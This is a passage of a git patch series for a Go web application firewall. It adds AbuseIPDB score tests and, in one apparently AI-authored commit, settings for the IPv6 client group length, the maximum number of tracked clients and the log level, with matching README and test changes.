` + score = `"score": 0, ` + fetched = `"fetched": "2026-10-06T00:00:00Z"` + ends = `}]}}` + ) + + for _, tc := range []struct { + name, content string + // want is what the error says after the file's path. + want string + }{ + { + "without its client", scores + `{` + score + fetched + ends, + `: abuseipdb scores entry 1 has no "client"`, + }, + { + // A score of 0 is not having none. + "without the score", + scores + `{` + client + score + fetched + `}, {` + client + fetched + ends, + `: abuseipdb scores entry 2 has no "score"`, + }, + { + "without the time it was fetched", scores + `{` + client + `"score": 100` + ends, + `: abuseipdb scores entry 1 has no "fetched"`, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + wantRefused(t, reputationJSON, tc.content, tc.want) + }) + } +} + func TestAlertsJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { t.Parallel() @@ -1182,7 +1248,9 @@ func TestEditOfEachFileTakenIn(t *testing.T) { edit(t, dir, reputationJSON, `{"version": 1, "lists": [{"url": "`+blocklistURL+`", `+ `"tried": "2026-10-06T00:00:00Z", "fetched": "2026-10-06T00:00:00Z", `+ `"lines": ["198.51.100.7"]}], "verdicts": [{"zone": "`+dnsblZone+`", `+ - `"client": "198.51.100.7", "listed": true, "fetched": "2026-10-06T00:00:00Z"}]}`) + `"client": "198.51.100.7", "listed": true, "fetched": "2026-10-06T00:00:00Z"}], `+ + `"abuseipdb": {"day": "2026-10-06T00:00:00Z", "spent": 9, "scores": [`+ + `{"client": "198.51.100.7/32", "score": 80, "fetched": "2026-10-06T00:00:00Z"}]}}`) wantTakenIn(t, lines, dir, reputationJSON) listedBy := params.Lists.ListedBy(client.Addr()) @@ -1195,6 +1263,14 @@ func TestEditOfEachFileTakenIn(t *testing.T) { Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: midnight(), }}) + checks := reputation.Checks{ + Day: midnight(), Spent: 9, + Scores: []reputation.Score{{Client: client, Score: 80, Fetched: midnight()}}, + } + if got := params.AbuseIPDB.Snapshot(); !reflect.DeepEqual(got, checks) { + t.Errorf("%s taken in as\n%+v\nwant\n%+v", reputationJSON, got, checks) + } + // A netblock with bits past its length is read as the netblock it is // in. edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+ @@ -1615,6 +1691,10 @@ func newParams(dir string) state.Params { Zones: []string{dnsblZone}, CacheTTL: 24 * time.Hour, Timeout: time.Second, Now: midnight, ProcessLog: discard, Alerts: queue, }), + AbuseIPDB: reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{ + MinScore: 75, DailyBudget: 900, CacheTTL: 24 * time.Hour, Timeout: time.Second, + Now: midnight, ProcessLog: discard, Alerts: queue, + }), Alerts: queue, Anomalies: anomaly.New(anomaly.Params{ Net: anomaly.Thresholds{RequestsPerMinute: 1000}, @@ -1639,8 +1719,9 @@ func office() netip.Prefix { // fill puts a permanent ban an admin made, a ban for a broken limit and // one for a clear sign of attack, clients with counts and histories, -// GeoJS answers, the blocklists' last tries and the copy of one, and two -// verdicts of a DNSBL zone, as filledReputationJSON holds them, and alerts +// GeoJS answers, the blocklists' last tries and the copy of one, two +// verdicts of a DNSBL zone, and the AbuseIPDB checks spent today with two +// scores, as filledReputationJSON holds them, and alerts // and anomaly counters, as filledAlertsJSON holds them, into the parts of // params. func fill(params state.Params) { @@ -1696,6 +1777,10 @@ func fill(params state.Params) { }, {Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: now.Add(-time.Hour)}, }) + params.AbuseIPDB.Load(reputation.Checks{Day: now, Spent: 3, Scores: []reputation.Score{ + {Client: netip.MustParsePrefix("2001:db8::/64"), Fetched: now.Add(-2 * time.Hour)}, + {Client: client, Score: 100, Fetched: now.Add(-time.Hour)}, + }}) // An alert waiting, a repeat of it the cooldown holds back, another // alert waiting, and one past the two an hour, for the hour's summary. From a6634454cdec14070c50d8a1b460698ec39cbfdd Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Thu, 8 Oct 2026 02:14:12 +0200 Subject: [PATCH 43/64] Read SWWAF_IPV6_GROUP_PREFIX, SWWAF_MAX_TRACKED_CLIENTS and SWWAF_LOG_LEVEL (closes #112) The IPv6 group that is one client, the size of the table of clients and the level of the process's own lines become settings. clientGroup reads the group length from them, so limits, bans, history, lookups, AbuseIPDB scores and per-client anomaly counters all follow it; ratelimit.New takes the table size; the process logger takes the level once the settings are read, and request lines, written apart from it, are never held back. Judgement call: SWWAF_IPV6_GROUP_PREFIX accepts 32 to 128, the issue's example range. Model: opus-5-5 --- README.md | 91 ++++++++++++++---------- internal/anomaly/anomaly.go | 6 +- internal/config/config.go | 50 +++++++++++++ internal/config/config_test.go | 62 ++++++++++++++++ internal/lookup/lookup.go | 3 +- internal/proxy/admin.go | 2 +- internal/proxy/bans.go | 8 +-- internal/proxy/bans_test.go | 7 +- internal/proxy/client.go | 12 ++-- internal/proxy/history_test.go | 18 +++++ internal/proxy/lookup.go | 4 +- internal/proxy/passthrough_test.go | 21 +++++- internal/proxy/proxy.go | 2 +- internal/proxy/proxy_test.go | 4 +- internal/proxy/ratelimits_test.go | 43 +++++++++++ internal/proxy/reputation.go | 4 +- internal/proxy/request.go | 8 +-- internal/ratelimit/history_test.go | 8 +-- internal/ratelimit/ratelimit.go | 17 +++-- internal/ratelimit/ratelimit_test.go | 47 +++++++----- internal/ratelimit/snapshot_test.go | 14 ++-- internal/requestlog/requestlog.go | 5 +- internal/requestlog/requestlog_test.go | 49 ++++++++++++- internal/smallwebwaf/smallwebwaf.go | 9 ++- internal/smallwebwaf/smallwebwaf_test.go | 48 +++++++++++++ internal/state/state_test.go | 2 +- 26 files changed, 439 insertions(+), 105 deletions(-) diff --git a/README.md b/README.md index fd004b8..3bec292 100644 --- a/README.md +++ b/README.md @@ -116,11 +116,12 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of `SWWAF_RATE_LIMIT_EXEMPT_PATHS`, as that setting below describes, is neither counted nor refused by the rate limits; the static lists, bans, the country lists and the rule files still apply to it. A client is one IPv4 address, or - one IPv6 /64, since one abuser usually holds a whole /64. Each window is + one IPv6 group, the netblock of `SWWAF_IPV6_GROUP_PREFIX` its address is in, a + /64 by default, since one abuser usually holds a whole /64. Each window is counted in two fixed buckets, the earlier one weighted by how much of it the - window still covers. At most 20,000 clients are kept, the least recently seen - dropped first, with their history, and a restart gives no client a fresh - allowance (see "State files" below). + window still covers. At most `SWWAF_MAX_TRACKED_CLIENTS` clients are kept, + 20,000 by default, the least recently seen dropped first, with their history, + and a restart gives no client a fresh allowance (see "State files" below). - Counts each client's bytes over a minute, an hour and a day, in the same way: once a request passed to the app has ended, the body bytes of its answer, of the request, or of both, as `SWWAF_BYTES_COUNT` says. For a WebSocket, or any @@ -153,8 +154,8 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of broken again within a day of a ban ending bans for three times as long as that ban, so 1, 3, 9, 27 and 81 hours; a ban that would last longer than seven days is permanent instead. A ban covers the client's netblock: its IPv4 address, or - the netblock around it that `SWWAF_BAN_SCOPE_V4_PREFIX` sets, or its IPv6 /64. - While it lasts, every request from the netblock is refused with + the netblock around it that `SWWAF_BAN_SCOPE_V4_PREFIX` sets, or its IPv6 + group. While it lasts, every request from the netblock is refused with `SWWAF_BAN_RESPONSE` after the static lists and before the country lists, so the client is not looked up, and is not counted for the rate limits. A ban sets the client's counters back to zero. Each ban carries notes for deciding @@ -315,7 +316,8 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of Each setting is an environment variable, or a file one names (see "Settings given as files" below), and each has a default, so none has to be set. A setting that is set but invalid stops the start with a message naming it, and the -effective settings are logged at start. +effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or +`error`, which hold that line back. - `SWWAF_LISTEN_ADDR` (default `:8080`): where `smallwebwaf` listens. - `SWWAF_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app, as `http` or @@ -333,6 +335,18 @@ effective settings are logged at start. - `SWWAF_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`, the private address ranges): the netblocks whose `X-Forwarded-For` is believed. A list given replaces the default; set but empty, it trusts nothing. +- `SWWAF_IPV6_GROUP_PREFIX` (default `64`): the length of an IPv6 client's + group, the netblock that is one client, from 32 to 128, since a shorter one + would make one client of the customers of several providers. The rate limits, + the byte limits, bans, the table of clients, the lookups, AbuseIPDB's scores + and the anomaly thresholds per client all take an IPv6 client as its group, + and `client_group` gives it. After it changes, each IPv6 client starts afresh: + what was kept of it under its earlier group, its counts, history, GeoJS answer + and AbuseIPDB score, is not used for it, while each ban keeps refusing its + netblock until it ends. +- `SWWAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept in memory + and in `clients.json`, with their counters and history, a whole number above + zero. Past it, the least recently seen is dropped first. - `SWWAF_CLIENT_REQUEST_TIMEOUT` (default `60s`): how long a client may take to send its request line and headers, and then, from the end of the headers, its body. @@ -510,7 +524,7 @@ effective settings are logged at start. kept, past, active and permanent. The bans you make or keep are kept besides. - `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): the length of the netblock around an IPv4 client that a ban covers, such as `24` to ban the surrounding /24. An - IPv6 ban covers the client's /64. + IPv6 ban covers the client's group, as `SWWAF_IPV6_GROUP_PREFIX` sets it. - `SWWAF_STATE_DIR` (default `/var/lib/smallwebwaf`): the directory of the state files, an absolute path. A directory `smallwebwaf` cannot write stops the start. @@ -525,6 +539,10 @@ effective settings are logged at start. (see "Request log" below). An entry naming `Host` or `Transfer-Encoding` stops the start, since Go's HTTP server takes both out of the request; the request's host is the field `host`. +- `SWWAF_LOG_LEVEL` (default `info`): the least severe of `smallwebwaf`'s own + messages that are written, on stdout and to the syslog server: `debug`, + `info`, `warn` or `error`. No message is at `debug` yet, so it writes what + `info` does. It holds back no line of the request log. - `SWWAF_ADMIN_TOKEN` (default unset): the token an admin sends for the ban endpoints and `/_smallwebwaf/clients/` (see "Admin endpoints" below), a long random value. While it is unset they are off; one shorter than 32 @@ -637,7 +655,8 @@ Percentages are whole numbers from 0 to 100, and an entry of a list of them is an AS number or a country, `:` and a percentage; an AS number or a country listed twice in one of them stops the start. `off` switches a timeout, a size limit, a rate limit, a byte limit, an anomaly threshold, `SWWAF_ALERT_COOLDOWN` -or `SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, +or `SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_IPV6_GROUP_PREFIX`, +`SWWAF_MAX_TRACKED_CLIENTS`, `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, `SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`, `SWWAF_BLOCKLIST_REFRESH`, `SWWAF_ABUSEIPDB_MIN_SCORE`, `SWWAF_ABUSEIPDB_DAILY_BUDGET`, `SWWAF_REPUTATION_CACHE_TTL`, @@ -645,12 +664,10 @@ or `SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, `SWWAF_METRICS_TOP_N`, `SWWAF_LOG_REMOTE_BUFFER`, `SWWAF_ANOMALY_NET_V4_PREFIX` and `SWWAF_ANOMALY_NET_V6_PREFIX` cannot be off. -Several limits are fixed rather than settings. At most 20,000 clients are kept, -with their counters and history, and an IPv6 client is counted by its /64. At -most 100,000 answers from GeoJS are kept, for 7 days each, at most 20,000 -anomaly counters, at most 100,000 verdicts of the DNSBL zones, with at most -1,000 queries to them under way at once, and at most 100,000 scores of -AbuseIPDB. +Several limits are fixed rather than settings. At most 100,000 answers from +GeoJS are kept, for 7 days each, at most 20,000 anomaly counters, at most +100,000 verdicts of the DNSBL zones, with at most 1,000 queries to them under +way at once, and at most 100,000 scores of AbuseIPDB. ### Settings given as files @@ -707,7 +724,7 @@ which every line has. - `peer_ip` is the TCP peer, normally traefik. `forwarded_for` is the `X-Forwarded-For` header as received, several lines of it joined with `, `. `client_group` is the client as the rate limits count it: its IPv4 address as - a /32, or the /64 of its IPv6 address. + a /32, or its IPv6 group, as `SWWAF_IPV6_GROUP_PREFIX` sets it. - `asn`, `as_name` and `country` are the client's AS number, such as `AS64496`, the name of that AS, and its country, as GeoJS or the lookup database gives them. Each is empty when `SWWAF_LOOKUP_SOURCE` is `off`, for a client in @@ -810,7 +827,8 @@ which every line has. No body is logged, and no header but those above. `smallwebwaf`'s own messages (start, the settings, stop, errors) share the stream as JSON lines marked -`"type":"process"`, each with `instance` as a request's line has it. +`"type":"process"`, each with `instance` as a request's line has it, and those +less severe than `SWWAF_LOG_LEVEL` are not written. Go's HTTP server, on which `smallwebwaf` is built, reads a request's line and headers before `smallwebwaf` sees the request, and some requests end there, @@ -1078,9 +1096,10 @@ with times in UTC. zone gave it, `fetched`; and under `abuseipdb` (see "AbuseIPDB" below), the `day`, in UTC, whose checks it counts, left out before the first, the checks `spent` that day, and under `scores`, each score of AbuseIPDB still in use: - the `client`, its IPv4 address as a /32 or its IPv6 /64, its `score`, and when - AbuseIPDB gave it, `fetched`. As the file is read, the lists the settings no - longer name, and the verdicts of the zones they no longer name, are dropped. + the `client`, its IPv4 address as a /32 or its IPv6 group, its `score`, and + when AbuseIPDB gave it, `fetched`. As the file is read, the lists the settings + no longer name, and the verdicts of the zones they no longer name, are + dropped. - `alerts.json`: the state of the alerts (see "Alerts" above), indented to be read: under `cooldowns`, for each event and netblock, with the `source` too for a `reputation_hit`, or event and `file` or `source`, or for an `anomaly`, @@ -1379,7 +1398,7 @@ request that carries the token as `Authorization: Bearer `: `reason`. `netblock` is a netblock such as `203.0.113.0/24`, or a client's address, which bans the netblock a ban on that client covers: its IPv4 address, or the netblock around it that `SWWAF_BAN_SCOPE_V4_PREFIX` sets, or - its IPv6 /64. `duration` is a duration such as `1h` or `7d`, or `permanent`. + its IPv6 group. `duration` is a duration such as `1h` or `7d`, or `permanent`. The ban starts at once, its `cause` is `admin`, and it is made even while another ban on the netblock lasts. A body that is not such an object, has another field, has anything but whitespace after the object, or is longer than @@ -1660,7 +1679,7 @@ setting uses the answer, unless you set `SWWAF_LOOKUP_SOURCE=off`. The only visitors it is not told about are those in `SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS`, those whose netblock a ban covers, and those on a private, loopback or link-local address. An IPv6 visitor is asked about by the first -address of its /64. Each answer is kept for seven days, in memory and in +address of its IPv6 group. Each answer is kept for seven days, in memory and in `lookups.json`, so that it survives a restart, and a visitor whose answer is kept is not asked about again. @@ -1775,7 +1794,7 @@ request from it until the zone has answered. The name asked about is the one RFC `192.0.2.99` is asked about in `dnsbl.dronebl.org` as `99.2.0.192.dnsbl.dronebl.org`, or the 32 hex digits of an IPv6 address in reverse order, each followed by a dot. An IPv6 client is asked about by its own -address, not by its /64. +address, not by its IPv6 group. A zone that answers that the name does not exist, or has no address, does not list the client, and one that answers with an address in `127.0.0.0/8` lists it. @@ -1821,8 +1840,8 @@ While `SWWAF_ABUSEIPDB_KEY` holds the key of an AbuseIPDB account, `smallwebwaf` asks AbuseIPDB's check endpoint, `https://api.abuseipdb.com/api/v2/check`, for the abuse confidence score of a client's own address, from 0 to 100. It is unset by default, for the reason no blocklist is named, and since AbuseIPDB needs an -account. An IPv6 client, a /64, is checked by the address of the request that -has it checked, and its score is used for the whole /64, whichever of its +account. An IPv6 client, an IPv6 group, is checked by the address of the request +that has it checked, and its score is used for the whole group, whichever of its addresses sends, so that one client costs at most one check every `SWWAF_REPUTATION_CACHE_TTL`. @@ -1934,17 +1953,17 @@ given as files" above). checks. Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the -table of clients to 20,000 and the GeoJS answers to 100,000, dropping the least -recently seen, the DNSBL zones' verdicts and AbuseIPDB's scores to 100,000 each, -dropping the one fetched longest ago, the anomaly counters to 20,000, dropping -the one counted least recently, and the banned netblocks in the order they were -last seen, from which the ledger picks the ban to drop past `SWWAF_MAX_BANS`, -and `github.com/prometheus/client_golang` keeps the metrics and serves them, and -`github.com/fsnotify/fsnotify` tells `smallwebwaf` when a state file or a rule -file is saved, or the lookup database replaced, and -`github.com/oschwald/maxminddb-golang/v2` reads the lookup database, which the -tests write with `github.com/maxmind/mmdbwriter`. The country codes are the list -in `internal/config/config.go`. +table of clients to `SWWAF_MAX_TRACKED_CLIENTS` and the GeoJS answers to +100,000, dropping the least recently seen, the DNSBL zones' verdicts and +AbuseIPDB's scores to 100,000 each, dropping the one fetched longest ago, the +anomaly counters to 20,000, dropping the one counted least recently, and the +banned netblocks in the order they were last seen, from which the ledger picks +the ban to drop past `SWWAF_MAX_BANS`, and `github.com/prometheus/client_golang` +keeps the metrics and serves them, and `github.com/fsnotify/fsnotify` tells +`smallwebwaf` when a state file or a rule file is saved, or the lookup database +replaced, and `github.com/oschwald/maxminddb-golang/v2` reads the lookup +database, which the tests write with `github.com/maxmind/mmdbwriter`. The +country codes are the list in `internal/config/config.go`. ## Entrypoints diff --git a/internal/anomaly/anomaly.go b/internal/anomaly/anomaly.go index de54cfb..f811eeb 100644 --- a/internal/anomaly/anomaly.go +++ b/internal/anomaly/anomaly.go @@ -27,7 +27,8 @@ const maxCounters = 20000 // The scopes, what a counter counts, as the settings, alerts.json and the // alerts name them. const ( - // ScopeClient is one client: an IPv4 address, or an IPv6 /64. + // ScopeClient is one client: an IPv4 address, or an IPv6 netblock of + // SWWAF_IPV6_GROUP_PREFIX. ScopeClient = "client" // ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX // or SWWAF_ANOMALY_NET_V6_PREFIX long. @@ -103,7 +104,8 @@ type Counter struct { // Request is a request that has ended, as the counters count it. type Request struct { // Client is the client's address, and ClientGroup the client it is - // counted as: its IPv4 address, or its IPv6 /64. + // counted as: its IPv4 address, or the IPv6 netblock of + // SWWAF_IPV6_GROUP_PREFIX its address is in. Client netip.Addr ClientGroup netip.Prefix // ASN, ASName and Country are the client's as looked up, each "" when diff --git a/internal/config/config.go b/internal/config/config.go index e1014bd..ddb6cf9 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -48,6 +48,12 @@ type Config struct { // TrustedProxies are the netblocks whose X-Forwarded-For is // believed (SWWAF_TRUSTED_PROXIES). TrustedProxies []netip.Prefix + // IPv6GroupPrefix is the length of the IPv6 netblock that is one client + // (SWWAF_IPV6_GROUP_PREFIX), from 32 to 128. + IPv6GroupPrefix int + // MaxTrackedClients is the most clients the table of clients holds, in + // memory and in clients.json (SWWAF_MAX_TRACKED_CLIENTS). + MaxTrackedClients int // ClientRequestTimeout bounds reading the whole request from the // client (SWWAF_CLIENT_REQUEST_TIMEOUT). ClientRequestTimeout time.Duration @@ -209,6 +215,9 @@ type Config struct { // LogRequestHeaders are the request headers whose values the request // log gives, in lower case (SWWAF_LOG_REQUEST_HEADERS). LogRequestHeaders []string + // LogLevel is the least severe of the process's own messages that are + // written (SWWAF_LOG_LEVEL). It holds back no request log line. + LogLevel slog.Level // AdminToken is the bearer token an admin sends for the ban endpoints // and /_smallwebwaf/clients/ (SWWAF_ADMIN_TOKEN), "" while it is // unset and they are off. @@ -297,6 +306,10 @@ const ( gibibyte = 1 << 30 ipv4Bits = 32 ipv6Bits = 128 + // minIPv6GroupPrefix is the shortest SWWAF_IPV6_GROUP_PREFIX, the + // netblock a provider is usually given: a shorter one would make one + // client of the customers of several providers. + minIPv6GroupPrefix = 32 // minTokenLength is the fewest characters a token may have. minTokenLength = 32 // masked is what the log shows for a token that is set, and in place of @@ -346,6 +359,9 @@ var ( "is not the length of an IPv4 netblock, from 0 to 32, such as 24") errNotV6Prefix = errors.New( "is not the length of an IPv6 netblock, from 0 to 128, such as 48") + errNotIPv6GroupPrefix = errors.New( + "is not the length of an IPv6 netblock, from 32 to 128, such as 64") + errNotLogLevel = errors.New("is not debug, info, warn or error") errNotNamedNetblock = errors.New( "is not a name, = and a netblock, such as office=203.0.113.0/24") errNotAbsolutePath = errors.New( @@ -411,6 +427,8 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { InstanceName: env.instanceName(), Observe: env.observe("SWWAF_MODE", "enforce"), TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges), + IPv6GroupPrefix: env.ipv6GroupPrefix("SWWAF_IPV6_GROUP_PREFIX", "64"), + MaxTrackedClients: env.numberNotOff("SWWAF_MAX_TRACKED_CLIENTS", "20000"), ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"), ClientRequestHeaderMaxBytes: env.headerSize( "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES", "32K"), @@ -465,6 +483,7 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS", "accept,accept-language,accept-encoding,content-type,origin,range"), + LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"), AdminToken: env.token("SWWAF_ADMIN_TOKEN"), MetricsToken: env.token("SWWAF_METRICS_TOKEN"), MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), @@ -944,6 +963,37 @@ func (e *environment) v6Prefix(name, defaultValue string) int { return length } +// ipv6GroupPrefix reads the setting that is the length of the IPv6 +// netblock that is one client, from minIPv6GroupPrefix to 128. +func (e *environment) ipv6GroupPrefix(name, defaultValue string) int { + value := e.value(name, defaultValue) + + length, err := strconv.Atoi(value) + if err != nil || length < minIPv6GroupPrefix || length > ipv6Bits { + e.check(name, fmt.Errorf("%q %w", value, errNotIPv6GroupPrefix)) + } + + return length +} + +// logLevel reads the setting that is the least severe of the process's +// own messages that are written: debug, info, warn or error. +func (e *environment) logLevel(name, defaultValue string) slog.Level { + value := e.value(name, defaultValue) + + level, known := map[string]slog.Level{ + "debug": slog.LevelDebug, + "info": slog.LevelInfo, + "warn": slog.LevelWarn, + "error": slog.LevelError, + }[value] + if !known { + e.check(name, fmt.Errorf("%q %w", value, errNotLogLevel)) + } + + return level +} + // thresholds reads the four anomaly thresholds whose settings' names // start with prefix: requests and bytes per minute and per hour. Each is // off by default. diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 62ce931..5ec0344 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -27,6 +27,8 @@ const ( upstreamURL = "SWWAF_UPSTREAM_URL" mode = "SWWAF_MODE" trustedProxies = "SWWAF_TRUSTED_PROXIES" + ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX" + maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS" clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT" clientHeaderMaxBytes = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES" clientIdleTimeout = "SWWAF_CLIENT_IDLE_TIMEOUT" @@ -84,6 +86,7 @@ const ( metricsTopN = "SWWAF_METRICS_TOP_N" instanceName = "SWWAF_INSTANCE_NAME" logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" + logLevel = "SWWAF_LOG_LEVEL" rulesDir = "SWWAF_RULES_DIR" rulesEnabled = "SWWAF_RULES_ENABLED" logRemoteURL = "SWWAF_LOG_REMOTE_URL" @@ -399,6 +402,57 @@ func TestValuesAsSet(t *testing.T) { wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE") } +func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + env environment + prefix, clients int + level slog.Level + }{ + {environment{}, 64, 20000, slog.LevelInfo}, + { + environment{ipv6GroupPrefix: "48", maxTrackedClients: "500", logLevel: "warn"}, + 48, 500, slog.LevelWarn, + }, + } { + cfg := fromEnvironment(t, tc.env) + if cfg.IPv6GroupPrefix != tc.prefix || cfg.MaxTrackedClients != tc.clients || + cfg.LogLevel != tc.level { + t.Errorf("%v gave %d, %d and %v, want %d, %d and %v", tc.env, + cfg.IPv6GroupPrefix, cfg.MaxTrackedClients, cfg.LogLevel, + tc.prefix, tc.clients, tc.level) + } + } +} + +func TestIPv6GroupPrefixFrom32To128(t *testing.T) { + t.Parallel() + + for _, length := range []int{32, 128} { + cfg := fromEnvironment(t, environment{ipv6GroupPrefix: strconv.Itoa(length)}) + if cfg.IPv6GroupPrefix != length { + t.Errorf("%s=%d gave %d", ipv6GroupPrefix, length, cfg.IPv6GroupPrefix) + } + } +} + +func TestEachLogLevel(t *testing.T) { + t.Parallel() + + for value, want := range map[string]slog.Level{ + "debug": slog.LevelDebug, + "info": slog.LevelInfo, + "warn": slog.LevelWarn, + "error": slog.LevelError, + } { + cfg := fromEnvironment(t, environment{logLevel: value}) + if cfg.LogLevel != want { + t.Errorf("%s=%s gave %v, want %v", logLevel, value, cfg.LogLevel, want) + } + } +} + func TestByteLimitSettingsAsSet(t *testing.T) { t.Parallel() @@ -1698,6 +1752,10 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {trustedProxies, "traefik"}, {trustedProxies, "10.0.0.0/8,,192.168.0.0/16"}, {trustedProxies, "fe80::1%eth0"}, + {ipv6GroupPrefix, "31"}, {ipv6GroupPrefix, "129"}, {ipv6GroupPrefix, "/64"}, + {ipv6GroupPrefix, off}, {ipv6GroupPrefix, ""}, + {maxTrackedClients, "0"}, {maxTrackedClients, "-1"}, {maxTrackedClients, off}, + {maxTrackedClients, "20K"}, {allowNets, "192.0.2.0/24,monitoring"}, {rateLimitExemptNets, "2001:db8::/129"}, {denyNets, "198.51.100.0/24,"}, @@ -1751,6 +1809,7 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {logRequestHeaders, "accept language"}, {logRequestHeaders, "x-foo:"}, {logRequestHeaders, "host"}, {logRequestHeaders, "accept,Host"}, {logRequestHeaders, "transfer-encoding"}, {logRequestHeaders, "TRANSFER-ENCODING"}, + {logLevel, "INFO"}, {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""}, {rulesEnabled, "yes"}, {rulesEnabled, "True"}, }) } @@ -1993,6 +2052,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { upstreamURL: "http://127.0.0.1:8081", mode: "enforce", trustedProxies: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", + ipv6GroupPrefix: "64", + maxTrackedClients: "20000", clientRequestTimeout: "45s", clientHeaderMaxBytes: "32K", clientIdleTimeout: "120s", @@ -2050,6 +2111,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { metricsTopN: "50", instanceName: hostname, logRequestHeaders: defaultLogRequestHeaders, + logLevel: "info", rulesDir: "/etc/smallwebwaf/rules.d", rulesEnabled: "true", logRemoteURL: "", diff --git a/internal/lookup/lookup.go b/internal/lookup/lookup.go index b4b5006..cdd86cb 100644 --- a/internal/lookup/lookup.go +++ b/internal/lookup/lookup.go @@ -176,7 +176,8 @@ func New(params Params) *GeoJS { // when it ends. // // GeoJS is asked about the client's first address, which is the client's -// own address for IPv4, and an address in the same place for an IPv6 /64. +// own address for IPv4, and an address in the same place for an IPv6 +// netblock. func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer { answer, asked := g.answerOrWait(ctx, client) if asked == nil { diff --git a/internal/proxy/admin.go b/internal/proxy/admin.go index fe4a12d..5db184d 100644 --- a/internal/proxy/admin.go +++ b/internal/proxy/admin.go @@ -282,7 +282,7 @@ func (rq *request) showClient() { answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))} - client, seen := rq.h.limiter.Client(clientGroup(addr)) + client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr)) if seen { answer.Client = &client } diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index 95f889a..d56b066 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -45,7 +45,7 @@ func (rq *request) banned(now time.Time) bool { // the client over a rate limit, as its limit percentage lowers it, which // breaks it. func (rq *request) limitBroken(now time.Time) bool { - counts, hit, over := rq.h.limiter.Count(clientGroup(rq.client), now, + counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now, rq.limitPercent.percent) rq.line.Counts = counts @@ -71,7 +71,7 @@ func (rq *request) countBytes() { now := rq.h.now() - counts, hit, over := rq.h.limiter.CountBytes(clientGroup(rq.client), now, + counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now, rq.countedBytes(), rq.bytesPercent.percent) rq.line.Counts.MinuteBytes = counts.MinuteBytes rq.line.Counts.HourBytes = counts.HourBytes @@ -155,7 +155,7 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { } ban, made := rq.h.ledger.BanForLimit(netblock, now, notes) - rq.h.limiter.Reset(clientGroup(rq.client)) + rq.h.limiter.Reset(rq.h.clientGroup(rq.client)) rq.line.BanExpires = banExpires(ban) if made { @@ -276,7 +276,7 @@ func (h *handler) netblock(client netip.Addr) netip.Prefix { return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked() } - return clientGroup(addr) + return h.clientGroup(addr) } // banExpires is when ban ends, as the log line gives it: a time, or diff --git a/internal/proxy/bans_test.go b/internal/proxy/bans_test.go index 824d01c..03926cc 100644 --- a/internal/proxy/bans_test.go +++ b/internal/proxy/bans_test.go @@ -165,9 +165,14 @@ func TestBanCoversTheClientsNetblock(t *testing.T) { []string{otherClient, exempt}, []string{"203.0.112.9", allowed}, }, { - "an IPv6 /64", nil, "2001:db8:5::1", + "an IPv6 /64, by default", nil, "2001:db8:5::1", []string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"}, }, + { + "the IPv6 netblock SWWAF_IPV6_GROUP_PREFIX sets", + 